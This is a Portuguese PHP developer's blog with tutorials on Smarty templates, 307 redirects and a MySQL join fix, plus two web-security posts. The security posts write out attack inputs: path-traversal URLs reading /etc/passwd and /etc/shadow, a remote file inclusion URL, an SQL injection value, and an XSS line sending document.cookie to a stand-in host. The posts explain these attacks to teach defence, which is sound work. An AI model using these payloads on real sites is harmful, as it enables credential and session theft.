Duzao7667 Development Log

Loops com a classe smarty.

duzao7667 — Thu, 03 Feb 2011 19:33:28 +0000

Hallo!
Depois de dois anos venho postar por aqui novamente o.o … é, acho que estou meio afastado do mundo geek =P

Maaaas… vamos ao assunto!

Vimos no post abaixo como inserir informações nos templates HTML utilizando o smarty, mas como todo bom programador sabe, um printf sem um for é como uma luva sem uma mão XD … uma hora ou outra vc precisa casar os dois.

Pelo lado do php é simples!!! Vc cria uma array de dados do tamanho que quiser, e usa o método Assign do smarty para enviar os dados para o template! Mas e no template?? Como a mágica é feita??
Usamos o comando reservado SECTION, do SMARTY (lembra que eu falei que o smarty tinha sintaxe própria interna?).
Uso:
{section name=var_para_uso loop=$array_enviada_pelo_assign step=NUMEROQUALQUER start=NUMEROINICIALDOFOR}{/section}
Nota: step salta o numero que você definir no loop e start vc configura da onde quer começar a contar
Tudo sempre fica mais fácil com um exemplo, lá vamos nós:
PHP:
for ($i=0;$i<>5;$i++){
$numeros[$i]=$i;
}
$smarty->assign(“numeros”,$numeros);

TEMPLATE HTML:

{section name=i loop=$numeros}

{$numeros[i]}

{/section}

RESULTADO GERADO (HTML):

Exemplo besta né?? Mas eu sei que você bom(a) programador entendeu que o section do smarty é uma sintaxe do tipo TAG, logo, conseguiremos loops dentro de loops!!
Acho que minha instrução acaba aqui e sua imaginação o guiará a fazer o resto!

O Poder da classe Smarty.

duzao7667 — Fri, 17 Apr 2009 14:01:05 +0000

Aew! Eu não morrí viu??…ainda xD
Entaum mais um novo post, mas agora falando sobre o poder da classe de templates Smarty do PHP.

O Smarty tem a finalidade de agregar (ou carimbar, se preferir xD) dados à templates HTML prontos. O programa basicamente substitui informações entre tags (geralmente { e }) em templates HTML, pelos dados que você manda pelo PHP através do SMARTY.
O Smarty aumenta a produtividade e a organização de projetos, pois usando-o, separamos o gráfico do lógico.

Ele possui um compilador interno que interpreta uma sintaxe própria na mesma linha do php, auxiliando certas tarefas como: loops e resolução condições lógicas dentro do code dos próprios templates.

(E, sim, esta definição foi tirada da WikiPédia! porem, fui eu quem escrevi o artigo lá xDDD)

Vamos a parte prática então!
Primeiro baixe a classe inteira aqui: http://www.smarty.net/download em “Last Stable Release”

Descompacte os arquivos na sua pasta de paginas do apache (ou IIS se for o caso xD) e os diretorios serão montados.

Bora montar um exemplo simples de funcionamento???
Tudo que você precisa está na pasta libs, então pegue-a e coloque-a em uma pasta de testes.
Em seguida crie 2 pastas: templates, templates_c (<- chmod 777, leitura e escrita para esta pasta)

Bem, montamos a estrutura padrão basica de uma pagina com o smarty na pasta de teste

Entendendo:
* A pasta libs contém a classe SMARTY em sí, o core.
* A pasta templates possui arquivos de templates para ultilizar-mos com o SMARTY. Os templates tem a extensão .tpl no final porem não passam de HTMLs preparados por vc para reeber informações em campos pré programados.
* A pasta templates_c é a pasta onde ficam os templates já processados, é o cache/buffer do SMARTY (para não ficar tendo que re-compilar a pagina toda hora xD).

Agora dentro da pasta templates vamos criar um template bem básico, que chamaremos de: teste.tpl, com o seguinte conteúdo:

{$titulo}

{$corpo}

Uhmmmmm, quer dizer que eu uso variaveis do php dentro de templates que são na verdade arquivos HTML??
Na verdade pode ser, fragmentos de HTML, que serão juntados por vc através do SMARTY. E não são variaveis do php, são variaveis de “assinalagem/maquiagem” do SMARTY.

Vamos ao raiz de nossa pasta teste e criamos um index.php para finalmente fazermos nossa integração xD:

include “libs/Smarty.class.php”; //inclui a classe

$smarty = new Smarty; // cria novo objeto dentro da var smarty

$smarty->compile_check = false; //desativa a checagem de compilação

$smarty->caching = false; //desativa o cache (odeio debugar com cache xD..tem q ficar apagando td hr)

$smarty->assign(“titulo”,”Pagina de exemplo SMARTY!”); // definimos a valor qu será exibido no campo titulo do template

$smarty->assign(“corpo”,”Mim funga! xD”); // definimos a valor qu será exibido no campo corpo do template

$smarty->display(“teste.tpl”);//compila o template teste.tpl com as informações de variaveis previamente configuradas!

$smarty->clear_all_cache();//limpa td o cache…como ja disse..odeio-o =X

?>

No proximo post explicarei como funciona condições e loops dentro dos proprios templates html do smarty.
Espero que tenham gostado xD …

Abraços (de macho pow) e até a próxima!

Redirecionar pagina mantendo dados do metodo POST

duzao7667 — Thu, 29 Jan 2009 18:21:57 +0000

Aew!

Depois de me matar no google tentando achar algum resposta para a minha pergunta: “Como diabos eu redireciono de uma pagina a outra mantendo os dados do post do protocolo HTTP entre 2 scripts PHP?”

Finalmente liguei os pontinhos e descobri que precisava ser usado o codigo 307 especificado no RFC do protocolo HTTP 1.0 como temporary redirect …. a diferença deste codigo dos outros milhares de codigos de redireção HTTP (3XX) é que ele redireciona de uma pagina para outra mantendo os dados da querystring POST!!!
Ta.. mas como eu implemento isto no php??
Fiquei me matando com sockets e headers mas descobri que este comando banal faz o serviço todo:
header(“Location: pagina.php”,TRUE,307);

Poizéh… me matei no google por causa de 47 caracteres ¬¬
Mais ta aew pra quem quiser saber xD

—–ENGLISH VERSION—–
Yo!
After i almost killed myself in google i finally found a PHP command to redirect pages mantaining the POST querystring.

The responsible for this magic is the code 307 especified int the HTTP RFC like “temporary redirect”.
Uh..ok.. but how i make this shit using PHP?

Then after a couple of hours googling, and klling the sockets and headers in PHP i found the fucking solution:
header(“Location: pagina.php”,TRUE,307);

Oh yeah… i fucking killed myself because of 47 danmed chars ¬¬
But the solution is now here to who wants xD

——
Abraços! \o/

Problema de compatibilidade entre Mysql 4 e 5

duzao7667 — Fri, 11 Jul 2008 12:56:23 +0000

Fala galera!

Ontem percebi que mudaram sem aviso o Mysql 4.1 da unidev pra versão 5 e varios scripts do site ferraram devido ao seguinte erro proveniente do novo server mysql:
” Unknown column ‘tabela.coluna’ in ‘on clause’ “

Fiquei louco, revevisei a sintaxe do query nos scripts e tava tudo certinho (de acordo com a syntaxe do 4 porem O.o). Era uma query +- assim:
SELECT t.col1, t2.col1 FROM tabela AS t,tabela2 AS t2 OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=’ fudeu! xD ‘;

Oq poderia ser??? me matei de procurar no gugól e nada…dai axei um post extremamente bagunçado e consegui descobrir o problema:
SELECT t.col1, t2.col1 FROM tabela AS t,tabela2 AS t2 INNER OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=’ fudeu! xD ‘;

A MARDITA vírgula na separação de tabelas do FROM!!!

Então descobri que este é o jeito certo agora:
SELECT t.col1, t2.col1 FROM tabela AS t INNER JOIN tabela2 AS t2 INNER OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=’ foi! xD ‘;

É isto aeeeeeeeeeeeewwwwwwwww (ana carolina xD), por causa desta porcaria perdi 2 horas de minha vida ¬¬ mas ta ai o post pra quem precisar agora e não perder 2 horas. haeuahuahuhaeu

(*Xingando equipe do MYSQL*…cof..cof..cof)

Falow galera!

Segurança em Web-Sites. (Parte 3-Outros bugs)

duzao7667 — Thu, 13 Sep 2007 21:49:31 +0000

Faaaaaaaala galera XD. Galera?? oO Quase ninguem visita meu blog, então dexa keto o ‘galera’ XD
Reformulando:
Faaaaaaala putada!!! hauheuahauaehu XD, zuera ^^’

Vou poupar-lhes das ladainhas de introdução e pular pro q intereça de vez….

Alem dos dois problemas principais que eu citei temos varios outros problemas.

Uploads Maliciosos

Muitos sites oferecem opção de upload de arquivos e alguns ate descompactam pacotes zip que vc. manda. Tai o problema, pois se vc não souber filtrar os arquivos um exploit ou outro codigo mailicioso pode ser inserido no seu site. Por exemplo um dia desses postei um script onde era pra postar imagens com a extensão .jpg, como o programador não sabia que o linux não leva em consideração a extensão do arquivo pois usa o padrão MIME de detecção de tipo de arquivo eu consgui executar o .jpg como um script XD.
Não so assim da pra fazer como de outras maneiras, deixarei sua criatividade lhe guiar XD

Métodos post desprotegidos

Uma coisa que ví muito também, são paginas que usam metodo post descaradamente, mas sem a proteção devida só dando inportancia para os GETs. Isto pode feder, por que imagina uma enquete que use o metodo post e insira a opção selecionado por um input-radio e apensiona direto ao SQL, como vcs ja viram, eu poderia pegar o form de post, redirecionar o link direito para a pagina de “action” e modificar a opção do radio-box de “opt2″ para “opt2′; comandos sql XD –” e ele seria apensado ao query sql ja que não tem proteção no post o.O

Verificação de erros inseguro

Muita gente usa JAVASCRIPT pra checar erros em campos de forms e etc…, mas só java não é o suficiente pois eu posso salvar o codigo html da pagina modificar o form e retirar a checagem de erros java. Então o certo é fazer a checagem pelo java e pelo script que salva as informações também, ja que o script que esta no server nao pode ser retirado. Ta ai exemplos ASP e PHP de como tratar um erro deste, eh muito facil…

ASP:
Response.Write “”
Response.End

PHP:
echo “”;
die;

pronto! Isto dai exibe o erro e retorna para a pagina anterior ^^, viu q nem doeu?? xD

Link-access por metodo get.

Ja vi muita pagina acessar seus links assim:
www.site.com.br/link.php?url=index.php

Mas acontece que da pra mim fazer isto neste link se o apache no linx estiver desprotegido:
www.site.com.br/link.php?url=../../../../etc/passwd
www.site.com.br/link.php?url=../../../../etc/shadow

e estão em suas mãos todas as senhas da maquina linux host, HEUAEHUAEHUEAHEAU XD, dai eh so usar um brute force para criptografia DES ou SHADOW e ta feita a cagada.

Outra coisa que da pra fazer também:
www.site.com.br/link.php?url=www.meusite.com/meuscript.php

e se o script link.php estiver usando o recurso include do php o seu script é lido e executado, lembrando que em meusite não pode ter php ativado pois os codigos php serao interpretados antes e irão sumir de meuscript.php.

Eh isso aew galera!!! Termino aqui os 3 tutos sobre segurança web. Apartir daqui é com vocês!
NÃO ME RESPONSABILIZO PELO MAU USO DAS INFORMAÇÕES DOS MEUS 3 ARTIGOS!

Epero q tenham gostado ^^
Abraços.

Eduardo “Duzao7667″ A. Ayres.

Segurança em Web-Sites. (Parte 2-XSS)

duzao7667 — Sat, 18 Aug 2007 23:36:03 +0000

Vamos então a parte 2 de nosso tuto de segurança em web-pages xD

O XSS-Exploit (Cross Site Scripting) não é nada mais nada menos que inserir scripts ou tiras destes em uma pagina, na maioria das vezes através de posts ou comentarios que são enviados e agregados ao HTML da página.

Imagine só se o hacker resolve carregar um código malicioso em sua página através de um javascript em outra pagina e então junto com seu comentario posta uma tag script:
Oi galera ! Blz?

Quando a pagina com o post for carregada o script se executará e um virus por exemplo pode ser inserido na maquina via JS ou VBscript (sim, incrivel, mas da xD).
O que mais acontece é o hacker pegar o cookie do usuário e salvar atravéz deste script. Mas num tem problema pq meu cookie ta criptografado!!!

Nein Nein!!!! Não são todos os sites que criptografam senhas!! mesmo criptografando-as, elas podem ainda ser descriptografadas diretamente (no caso de criptografia síncrona) ou por força bruta (no caso da assíncrona), sem falar que dependendo das informações no cookie a sua privacidade vai pras cucuias xD.

Para ver seu proprio cookie na pagina que vc esta acessando eh facil, apenas execute um javascript na barra de endereços:
javascript:alert(document.cookie);

…e ta ai seu cookie do site que você está xD
O script que pega o cookie e armazena no site funciona associado a um php ou asp, veja o que contem no script exploit.js:
window.location = “http://www.site.com/pegacookie.php?cookie=”+document.cookie;

E está salvo seu cookie atravez de um simples php usando metodo GET =S

Mas isto não acontece só em posts mas tambem em GETs como por exemplo neste link:
www.site.com?buscador.php?busca=alguma+coisa+